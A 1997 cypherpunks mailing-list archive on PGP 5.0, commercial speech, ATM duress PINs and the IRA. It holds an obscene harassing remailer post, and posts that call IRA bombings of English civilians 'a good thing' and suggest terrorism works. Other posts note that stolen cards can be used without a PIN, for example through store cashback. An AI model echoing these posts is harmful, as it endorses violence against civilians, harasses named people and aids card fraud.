>cryptography list, I intend the list to focus on UK cryptography
>research, law, activism, announcements of conferences/meetings etc...

Are you familiar with the <ukcrypto@maillist.ox.ac.uk> list, which covers
this field rather well already? 

I think it's a majordomo server, so a mail to majordomo@maillist.ox.ac.uk
with the body text "subscribe ukcrypto" would get you in...

Regards
Rachel


--
Rachel Willmer, Intertrader Ltd, 4 John's Place, Edinburgh, UK
<rachel@intertrader.com>    T: +44 131 555 8450    F: +44 131 555 8451

Authors of  "Digital Money Online" report
<http://www.intertrader.com/library/DigitalMoneyOnline>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Sun, 8 Jun 1997 15:48:01 +0800
To: Huge Cajones Remailer <nobody@huge.cajones.com>
Subject: Re: [CRYPTO] ElGamal
In-Reply-To: <199706080700.AAA16299@fat.doobie.com>
Message-ID: <Pine.A41.3.95.970608013611.111824A-100000@fn2.freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain



I think Vulis needs each of us to send ten copies of this back to him.

On Sun, 8 Jun 1997, Huge Cajones Remailer wrote:

> Warning: if you fuck Timmy Mayflower in the ass, a rabid 
> tapeworm might bite your penis.
> 
>               /////
>              [ o o ] Timmy Mayflower
>               \_=_/
>               _| |_
>              / \_/ \
>           _oOOO___OOOo_
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Moderator of alt.2600.moderated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : real@freenet.edmonton.ab.ca : ab756@freenet.toronto.on.ca
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nexus@eskimo.com (Brian Lane)
Date: Sun, 8 Jun 1997 13:00:47 +0800
To: Cyberdog <eric@clever.net>
Subject: Re: Steak Knife Decryption
In-Reply-To: <199706070521.WAA11195@netcom11.netcom.com>
Message-ID: <339a38b3.40212914@mail.eskimo.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

On Sat, 7 Jun 1997 21:42:55 -0400, you wrote:

>>On Fri, 6 Jun 1997, Mike Duvos wrote:
>>
>>> An interesting twist on rubber hose decryption in the case of the
>>> murder of Jonathan Levin, son of the top executive of media
>>> giant Time Warner.
>>>
>>> Police believe his ATM card was stolen, and he was then jabbed
>>> with a steak knife until he revealed the PIN.
>>>
>>
>>A "duress" PIN which cancels the account would be a good addition;
>>similar to the "duress" code on home security systems that appear to
>>disarm the alarm but send a silent alarm to the monitoring station.
>>
>>-r.w.
>
>I would want my account to remain active but instruct the machine to
>dispense marked cash in case I'm outside in the trunk.

  I definitely would not want an emergency PIN to fail to dispense
cash,
unless it dispensed some 00 buckshot. Now that's a thought. Enter the
PIN
number backwards and you get a shotgun blast to the chest.

  A Good Idea(tm) would be to have a reversed PIN number red flag the
ATM and
alert the police (as well as forward the videotape to the proper
authorities).

  A gun would have been a good idea for Levin to own, but probably
would not
have helped him since it was a student that he knew and trusted. He
probably
didn't feel threatened until it was too late for him.

  Also, if the card was one of the Visa Debit cards (or even a real
visa card
for that matter) there are tons of places that it can be used without
entering
a PIN number or submitting to an ID check. Grocery stores and gas
stations are
two examples, although you cannot get cash from anywhere without using
the PIN
number (that I know of).

  Brian

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Version: 5.0 beta
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0VEuAd1mHJs=
=RiK5
-----END PGP SIGNATURE-----

ps. PGP 5.0 seems to have mangled my line ends in the process of
signing this message. Anyone know a cure for this?

----------------------------------------------------------------------------------
Brian C. Lane             http://www.eskimo.com/~nexus                      KC7TYU
------------------  96B9 C123 5C90 BECC  6A1F 7DC6 4F2B A26E  --------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Sun, 8 Jun 1997 20:51:44 +0800
To: "William H. Geiger III" <whgiii@amaranth.com>
Subject: Re: Responses to "Spam costs and questions" (long)
In-Reply-To: <199706081145.GAA02690@mailhub.amaranth.com>
Message-ID: <Pine.GSO.3.95.970608053415.20770A-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain



I don't think commercial speech should be treated as second-class speech.
But my position is hardly surprising. 

-Declan


On Sun, 8 Jun 1997, William H. Geiger III wrote:

> -----BEGIN PGP SIGNED MESSAGE-----
> 
> In <199706071754.MAA01524@manifold.algebra.com>, on 06/07/97 
>    at 12:54 PM, ichudov@Algebra.COM (Igor Chudov @ home) said:
> 
> >There is a lot of commercial compelled speech. For example,
> >mutual funds must say that past performance is not a guarantee of future
> >results.
> 
> >Do you find this kind of compelled speech unconstitutional?
> 
> Well I don't know how Duncan feels about it but I think it's highly
> unconstutional.
> 
> - -- 
> - ---------------------------------------------------------------
> William H. Geiger III  http://www.amaranth.com/~whgiii
> Geiger Consulting    Cooking With Warp 4.0
> 
> Author of E-Secure - PGP Front End for MR/2 Ice
> PGP & MR/2 the only way for secure e-mail.
> OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
> - ---------------------------------------------------------------
> 
> -----BEGIN PGP SIGNATURE-----
> Version: 2.6.3a
> Charset: cp850
> Comment: Registered_User_E-Secure_v1.1b1_ES000000
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> 59n7r3qg/aU=
> =2yF5
> -----END PGP SIGNATURE-----
> 
> 
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Philip A. Mongelluzzo" <phimon@ix.netcom.com>
Date: Sun, 8 Jun 1997 18:48:38 +0800
To: cypherpunks@cyberpass.net
Subject: PGP 5.0 Beta
Message-ID: <3.0.2.32.19970608063244.00952970@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

This may be the wrong forum for this question, if so then ignore me.

I have posted this question to the folks at PGP...

In the process of creating a set of keys with PGP 5.0 Beta an Access
Violation 
took place (this is NT).  The public key was sent to keys.pgp.com but the key 
ring was not created (or was corrupted).  How does one go about getting a key 
revoked with a lost private key?

Thanks,
Phil


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ELsPdg9DfJYX7h/04O5HkO90cah2fjjyl036F+B0GHyT0t2L1Z+bKQ==
=wJ4+
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Sun, 8 Jun 1997 19:56:37 +0800
To: ichudov@Algebra.COM (Igor Chudov @ home)
Subject: Re: Responses to "Spam costs and questions" (long)
In-Reply-To: <199706071754.MAA01524@manifold.algebra.com>
Message-ID: <199706081145.GAA02690@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <199706071754.MAA01524@manifold.algebra.com>, on 06/07/97 
   at 12:54 PM, ichudov@Algebra.COM (Igor Chudov @ home) said:

>There is a lot of commercial compelled speech. For example,
>mutual funds must say that past performance is not a guarantee of future
>results.

>Do you find this kind of compelled speech unconstitutional?

Well I don't know how Duncan feels about it but I think it's highly
unconstutional.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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59n7r3qg/aU=
=2yF5
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Sun, 8 Jun 1997 20:24:54 +0800
To: cypherpunks@Algebra.COM
Subject: Re: [CONTROVERSIAL]: A Defense of Terrorism
Message-ID: <199706081214.HAA02893@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----


In <Pine.LNX.3.91.970607230450.11734A-100000@fatmans.demon.co.uk>, on
06/07/97 
   at 11:11 PM, Paul Bradley <paul@fatmans.demon.co.uk> said:

>I live in mainland England. NI, although still violent, is now not the 
>only place bombed by the IRA, until a few years ago they mainly attacked 
>targets in NI, they now bomb all over the country.

Well I can only see this as a good thing. :)

It is the people of England that support that illegal occupation of Irish
soil by Brittish troops. It is only right that they should have to suffer
the consequences.


- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Sun, 8 Jun 1997 22:15:05 +0800
To: cypherpunks@toad.com
Subject: Re: Responses to "Spam costs and questions" (long)
In-Reply-To: <199706081255.HAA03281@mailhub.amaranth.com>
Message-ID: <19970608065652.41575@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain



On Sun, Jun 08, 1997 at 07:51:37AM -0500, William H. Geiger III wrote:
>In <Pine.GSO.3.95.970608053415.20770A-100000@well.com>, on 06/08/97 
>   at 07:36 AM, Declan McCullagh <declan@well.com> said:
>
>>I don't think commercial speech should be treated as second-class speech.
>>But my position is hardly surprising. 
>
>Well I think that there are some that would confuse the issue between 1st
>Amendment free speech and the issues surrounding fraud. Especially those
>in government who write the laws that regulate commercial speech.
>

The prospectus is a legal document -- part of the contract between the
mutual fund and the customer. 

So, the question is, should there be any legal constraints on the 
"speech" in contracts?  Can I sign a contract, and later be able to 
say "Oh, *that* clause!  That was just a *joke*"?

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Sun, 8 Jun 1997 22:26:32 +0800
To: cypherpunks@toad.com
Subject: Re: Responses to "Spam costs and questions" (long)
In-Reply-To: <199706081145.GAA02690@mailhub.amaranth.com>
Message-ID: <19970608071045.57576@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain



On Sun, Jun 08, 1997 at 08:42:49AM -0500, Dr.Dimitri Vulis KOTM wrote:
> "William H. Geiger III" <whgiii@amaranth.com> writes:
> 
> > In <199706071754.MAA01524@manifold.algebra.com>, on 06/07/97
> >    at 12:54 PM, ichudov@Algebra.COM (Igor Chudov @ home) said:
> >
> > >There is a lot of commercial compelled speech. For example,
> > >mutual funds must say that past performance is not a guarantee of future
> > >results.
> >
> > >Do you find this kind of compelled speech unconstitutional?
> >
> > Well I don't know how Duncan feels about it but I think it's highly
> > unconstutional.
> 
> I can still publish a book and claim that borshch (Russian beet soup)
> cures cancer.  However if I also offer to sell beets my mail order,
> the FDA can bite me. It's "constitutional" because it protects the
> olygopoly of the large drug companies with political connections.

Drug regulation muddies the waters quite a bit -- the issue is
commercial speech in general.  And that issue is a more basic one --
some entity (the government, in this case) is designated as the
"enforcer of contracts".  Contracts are special documents that by
their very nature involve "enforcement".  What you say in a contract
binds you.  What you say outside of a contract does not.  What you say
in a contract is, therefore, and by definition, not "free". 

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Sun, 8 Jun 1997 21:17:56 +0800
To: cypherpunks@toad.com
Subject: Re: Responses to "Spam costs and questions" (long)
Message-ID: <199706081255.HAA03281@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <Pine.GSO.3.95.970608053415.20770A-100000@well.com>, on 06/08/97 
   at 07:36 AM, Declan McCullagh <declan@well.com> said:

>I don't think commercial speech should be treated as second-class speech.
>But my position is hardly surprising. 

Well I think that there are some that would confuse the issue between 1st
Amendment free speech and the issues surrounding fraud. Especially those
in government who write the laws that regulate commercial speech.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 8 Jun 1997 21:48:18 +0800
To: cypherpunks@toad.com
Subject: Re: Responses to "Spam costs and questions" (long)
In-Reply-To: <199706081145.GAA02690@mailhub.amaranth.com>
Message-ID: <36cZ8D27w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



"William H. Geiger III" <whgiii@amaranth.com> writes:

> In <199706071754.MAA01524@manifold.algebra.com>, on 06/07/97
>    at 12:54 PM, ichudov@Algebra.COM (Igor Chudov @ home) said:
>
> >There is a lot of commercial compelled speech. For example,
> >mutual funds must say that past performance is not a guarantee of future
> >results.
>
> >Do you find this kind of compelled speech unconstitutional?
>
> Well I don't know how Duncan feels about it but I think it's highly
> unconstutional.

I can still publish a book and claim that borshch (Russian beet soup)
cures cancer.  However if I also offer to sell beets my mail order,
the FDA can bite me. It's "constitutional" because it protects the
olygopoly of the large drug companies with political connections.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 8 Jun 1997 21:55:10 +0800
To: cypherpunks@toad.com
Subject: Re: Responses to "Spam costs and questions" (long)
In-Reply-To: <199706081255.HAA03281@mailhub.amaranth.com>
Message-ID: <T2eZ8D30w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



"William H. Geiger III" <whgiii@amaranth.com> writes:

> In <Pine.GSO.3.95.970608053415.20770A-100000@well.com>, on 06/08/97
>    at 07:36 AM, Declan McCullagh <declan@well.com> said:
>
> >I don't think commercial speech should be treated as second-class speech.
> >But my position is hardly surprising.
>
> Well I think that there are some that would confuse the issue between 1st
> Amendment free speech and the issues surrounding fraud. Especially those
> in government who write the laws that regulate commercial speech.

Sure - it's their means of livelyhood :-)

Now, "fraud" suggests that the onus is on the gumbint to prove that the
claim is false.

However if I were to market "borshch" by mail order as a cure for cancer,
I'd be asked to "prove" in some ridiculous unscientific ways that it does
indeed cure cancer - spending $100M, which only the few large drug companies
can affort - suits them and the FDA just fine.

Troll: and how about them proposed restrictions on tobacco advertising...

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 8 Jun 1997 21:53:30 +0800
To: cypherpunks@toad.com
Subject: Re: [CONTROVERSIAL]: A Defense of Terrorism
In-Reply-To: <199706081214.HAA02893@mailhub.amaranth.com>
Message-ID: <o8eZ8D31w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



"William H. Geiger III" <whgiii@amaranth.com> writes:

> In <Pine.LNX.3.91.970607230450.11734A-100000@fatmans.demon.co.uk>, on
> 06/07/97
>    at 11:11 PM, Paul Bradley <paul@fatmans.demon.co.uk> said:
>
> >I live in mainland England. NI, although still violent, is now not the
> >only place bombed by the IRA, until a few years ago they mainly attacked
> >targets in NI, they now bomb all over the country.
>
> Well I can only see this as a good thing. :)
>
> It is the people of England that support that illegal occupation of Irish
> soil by Brittish troops. It is only right that they should have to suffer
> the consequences.

Paul,

The reason why the IRA bombs (or threatens to bomb) targets all over the UK
is that they want to make the voting public so sick and tired of the status
quo in NI that they'll demand a pull-out, which is just what the IRA wants.

The UK is a democracy - supposedly it's up to the voters to decide if they
want the UK to stay in NI, so the voters are being "persuaded".

The PLO used a similar successful strategy to convince Israeli voters to
agree to peace talks.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Mon, 9 Jun 1997 01:16:33 +0800
To: cypherpunks@toad.com
Subject: Re: Responses to "Spam costs and questions" (long)
In-Reply-To: <19970608071045.57576@bywater.songbird.com>
Message-ID: <19970608100006.05695@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain



On Sun, Jun 08, 1997 at 10:31:41AM -0500, William H. Geiger III wrote:
>>Drug regulation muddies the waters quite a bit -- the issue is commercial
>>speech in general.  And that issue is a more basic one --
>>some entity (the government, in this case) is designated as the "enforcer
>>of contracts".  Contracts are special documents that by their very nature
>>involve "enforcement".  What you say in a contract binds you.  What you
>>say outside of a contract does not.  What you say in a contract is,
>>therefore, and by definition, not "free". 
>
><sigh> Ofcource what I say in a contract is "free". I can say anything I
>want in a contract solong as the parties involved agree.
>
>What is controled is my actions not my speech. If I enter into a
>"contract" to provide borshch on the promise that it will cure your cancer
>*knowing* that it will not then I am guilty of fraud. This fraud is caused
>by my not honoring the contract. The government does not have a right to
>restrict my speech in a contract only as an arbitrator of contracts do
>they have a right to restrict my actions (ie: that I live up to the
>conditions of the contract).

By this reasoning the mutual fund companies don't have restricted
speech either -- they are perfectly free to put whatever they want in
their prospecti -- the government will just come along and restrict
their actions, later.  Therefore, their freedom of speech is in no way
being impinged.

The fact is, a contract, by definition, implies that there are 
remedies, and an authority to enforce those remedies.  Furthermore, 
the rules that the authority uses need to be clear and explicit, and 
people entering into contracts under that authority better follow 
those rules.  In particular, they would be well advised to use speech 
in the contract that the authority understands.

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Sun, 8 Jun 1997 23:54:11 +0800
To: Kent Crispin <kent@songbird.com>
Subject: Re: Responses to "Spam costs and questions" (long)
In-Reply-To: <19970608071045.57576@bywater.songbird.com>
Message-ID: <199706081538.KAA04719@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <19970608071045.57576@bywater.songbird.com>, on 06/08/97 
   at 07:10 AM, Kent Crispin <kent@songbird.com> said:

>On Sun, Jun 08, 1997 at 08:42:49AM -0500, Dr.Dimitri Vulis KOTM wrote: >
>"William H. Geiger III" <whgiii@amaranth.com> writes:
>> 
>> > In <199706071754.MAA01524@manifold.algebra.com>, on 06/07/97
>> >    at 12:54 PM, ichudov@Algebra.COM (Igor Chudov @ home) said:
>> >
>> > >There is a lot of commercial compelled speech. For example,
>> > >mutual funds must say that past performance is not a guarantee of future
>> > >results.
>> >
>> > >Do you find this kind of compelled speech unconstitutional?
>> >
>> > Well I don't know how Duncan feels about it but I think it's highly
>> > unconstutional.
>> 
>> I can still publish a book and claim that borshch (Russian beet soup)
>> cures cancer.  However if I also offer to sell beets my mail order,
>> the FDA can bite me. It's "constitutional" because it protects the
>> olygopoly of the large drug companies with political connections.

>Drug regulation muddies the waters quite a bit -- the issue is commercial
>speech in general.  And that issue is a more basic one --
>some entity (the government, in this case) is designated as the "enforcer
>of contracts".  Contracts are special documents that by their very nature
>involve "enforcement".  What you say in a contract binds you.  What you
>say outside of a contract does not.  What you say in a contract is,
>therefore, and by definition, not "free". 

<sigh> Ofcource what I say in a contract is "free". I can say anything I
want in a contract solong as the parties involved agree.

What is controled is my actions not my speech. If I enter into a
"contract" to provide borshch on the promise that it will cure your cancer
*knowing* that it will not then I am guilty of fraud. This fraud is caused
by my not honoring the contract. The government does not have a right to
restrict my speech in a contract only as an arbitrator of contracts do
they have a right to restrict my actions (ie: that I live up to the
conditions of the contract).

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rabid Wombat <wombat@mcfeely.bsfs.org>
Date: Mon, 9 Jun 1997 00:44:31 +0800
To: Cyberdog <eric@clever.net>
Subject: Re: Steak Knife Decryption
In-Reply-To: <v03102800afbfbdb3624c@[204.249.244.13]>
Message-ID: <Pine.BSF.3.91.970608111220.5226B-100000@mcfeely.bsfs.org>
MIME-Version: 1.0
Content-Type: text/plain





On Sat, 7 Jun 1997, Cyberdog wrote:

> >On Fri, 6 Jun 1997, Mike Duvos wrote:
> >
> >> An interesting twist on rubber hose decryption in the case of the
> >> murder of Jonathan Levin, son of the top executive of media
> >> giant Time Warner.
> >>
> >> Police believe his ATM card was stolen, and he was then jabbed
> >> with a steak knife until he revealed the PIN.
> >>
> >
> >A "duress" PIN which cancels the account would be a good addition;
> >similar to the "duress" code on home security systems that appear to
> >disarm the alarm but send a silent alarm to the monitoring station.
> >
> >-r.w.
> 
> I would want my account to remain active but instruct the machine to
> dispense marked cash in case I'm outside in the trunk.
> 

Excellent idea, but a lot harder to implement than simply having the 
system return a message that stated that your account is "overdrawn", and 
then notifying the security organization of your choice.

"Dude. I told ya, I don't have more than $10 in that account ..., just 
paid my rent/ alimony/ child-support/ bookie / parking tickets ... "

Since the criminal will no doubt be aware of this tactic, they'll be in 
the position of determining if the victim is lying about their lack of 
assets, or is using the security code. Will they be willing to risk 
murder against the possibility that the victim can be persuaded to give 
up the "real" number when other options are available? Possible, yes, but 
the average petty street criminal is looking for an easier mark.

-r.w.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Mon, 9 Jun 1997 00:47:16 +0800
To: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Subject: Re: Responses to "Spam costs and questions" (long)
In-Reply-To: <JumZ8D35w165w@bwalk.dm.com>
Message-ID: <199706081636.LAA05963@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <JumZ8D35w165w@bwalk.dm.com>, on 06/08/97 
   at 12:11 PM, dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM) said:

>If I advertise that "borshch cures cancer" and Kent buys some borshch
>from me, and dies from cancer anyway, then what's the basis for the
>gubmint's involvement?

Fraud, which is just a special case of theift (theift by deception).

What you are selling is not borshch but a cure for cancer (which happens
to be borshch). Since your cure does not work this is seen as fraud which
is theift and thus the government steps in.

No if some disintrested 3rd party claims that borshch cures cancer, and
you sell borshch, there is no fraud if the borshch does not cure cancer as
you are just selling borshch which is all the you claimed it was. The 3rd
party is not guilty of fraud as they have not entered into any contractual
agreement with the buyer of the borshch.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Mon, 9 Jun 1997 00:26:50 +0800
To: cypherpunks@toad.com
Subject: Re: Responses to "Spam costs and questions" (long)
In-Reply-To: <19970608071045.57576@bywater.songbird.com>
Message-ID: <VoLZ8D32w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Kent Crispin <kent@songbird.com> writes:

> On Sun, Jun 08, 1997 at 08:42:49AM -0500, Dr.Dimitri Vulis KOTM wrote:
> > "William H. Geiger III" <whgiii@amaranth.com> writes:
> >
> > > In <199706071754.MAA01524@manifold.algebra.com>, on 06/07/97
> > >    at 12:54 PM, ichudov@Algebra.COM (Igor Chudov @ home) said:
> > >
> > > >There is a lot of commercial compelled speech. For example,
> > > >mutual funds must say that past performance is not a guarantee of future
> > > >results.
> > >
> > > >Do you find this kind of compelled speech unconstitutional?
> > >
> > > Well I don't know how Duncan feels about it but I think it's highly
> > > unconstutional.
> >
> > I can still publish a book and claim that borshch (Russian beet soup)
> > cures cancer.  However if I also offer to sell beets my mail order,
> > the FDA can bite me. It's "constitutional" because it protects the
> > olygopoly of the large drug companies with political connections.
>
> Drug regulation muddies the waters quite a bit -- the issue is
> commercial speech in general.  And that issue is a more basic one --
> some entity (the government, in this case) is designated as the
> "enforcer of contracts".  Contracts are special documents that by

Actually, in the European legal tradition, a prince/potentate only
assumed the responsibility to enforce a contract if that was explicitly
specified when the contract was entered, and often required a separate
fee. (Similarly, treaties between sovereigns called on various deities
to rnforce the contract.) In Russia during the Mongol times two folks
could enter a contract and choose to have the prince of Kiev, or Vladimir,
or Novgorod, or some other enforce it, and pay that prince a fee.
Then one of the parties could sue in that prince's court. A curious
system developed by the time the Russian gumbint got centralized around
Moscow - tsar's court sold special stamped paper which could be used
for contracts, promissory notes, etc. For a contract to be enforceable,
it had to be written on this paper. Only those who entered contracts
were paying for the upkeep of the enforcement mechanism.

Note that it wasn't necessary to register the contract with the
gubmint to make it enforceable (I think, this was a part of the stamp
act in the colonies).

> their very nature involve "enforcement".  What you say in a contract
> binds you.  What you say outside of a contract does not.  What you say
> in a contract is, therefore, and by definition, not "free".

When a tobacco company says in an ad, "Joe Camel is cool", what kind
of contractual obligations does it assume?

Have you ever bought a used car, Kent?  Have you seen the language in
the contract that throws out whatever promises the saleguy made that
are not a part of the contract? If I claim on Usenet that borshch
cures cancer, who are the counterparties, and what consideration do
I get?

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Sun, 8 Jun 1997 19:23:17 +0800
To: Brian Lane <nexus@eskimo.com>
Subject: Re: Steak Knife Decryption
In-Reply-To: <339a38b3.40212914@mail.eskimo.com>
Message-ID: <Pine.LNX.3.91.970608115509.317C-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




>   Also, if the card was one of the Visa Debit cards (or even a real
> visa card
> for that matter) there are tons of places that it can be used without
> entering
> a PIN number or submitting to an ID check. Grocery stores and gas
> stations are
> two examples, although you cannot get cash from anywhere without using
> the PIN
> number (that I know of).

I don`t know about the USA but in the UK many large stores now have a 
system where when you make a transaction for shopping, you can ask for 
"cashback", so all you need is a signature to get cash from the card, 
however, I think the maximum amount per transaction is fairly low 
(something like $150) but there is nothing to stop someone going to a lot 
of different stores and repeating the process.

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Mon, 9 Jun 1997 00:31:56 +0800
To: cypherpunks@toad.com
Subject: Re: [CONTROVERSIAL]: A Defense of Terrorism
In-Reply-To: <Pine.LNX.3.91.970608163357.917A-100000@fatmans.demon.co.uk>
Message-ID: <4omZ8D34w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Paul Bradley <paul@fatmans.demon.co.uk> writes:
> > The reason why the IRA bombs (or threatens to bomb) targets all over the UK
> > is that they want to make the voting public so sick and tired of the status
> > quo in NI that they'll demand a pull-out, which is just what the IRA wants.
>
> Yes, I think you will also find that most people in mainland England
> don`t really have an opinion one way or the other, they vaguely feel that
> the British should pull out of NI because they want to stop the bombings,
> they also vaguely feel that would be giving in to "terrorists".

If the people in mainland England (and Scotland and Wales) are imprevious
to rational arguments (like, the UK should get the fuck out of NI because
they have no business being there :-) then perhaps that'll listen to
terrorism.  Perhaps not - such tactics seem to work better on some ethic
groups than on others, the the English took worse shit from the Germans
in WW II.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Mon, 9 Jun 1997 00:28:42 +0800
To: cypherpunks@toad.com
Subject: Re: Responses to "Spam costs and questions" (long)
In-Reply-To: <Pine.LNX.3.91.970608164435.917D-100000@fatmans.demon.co.uk>
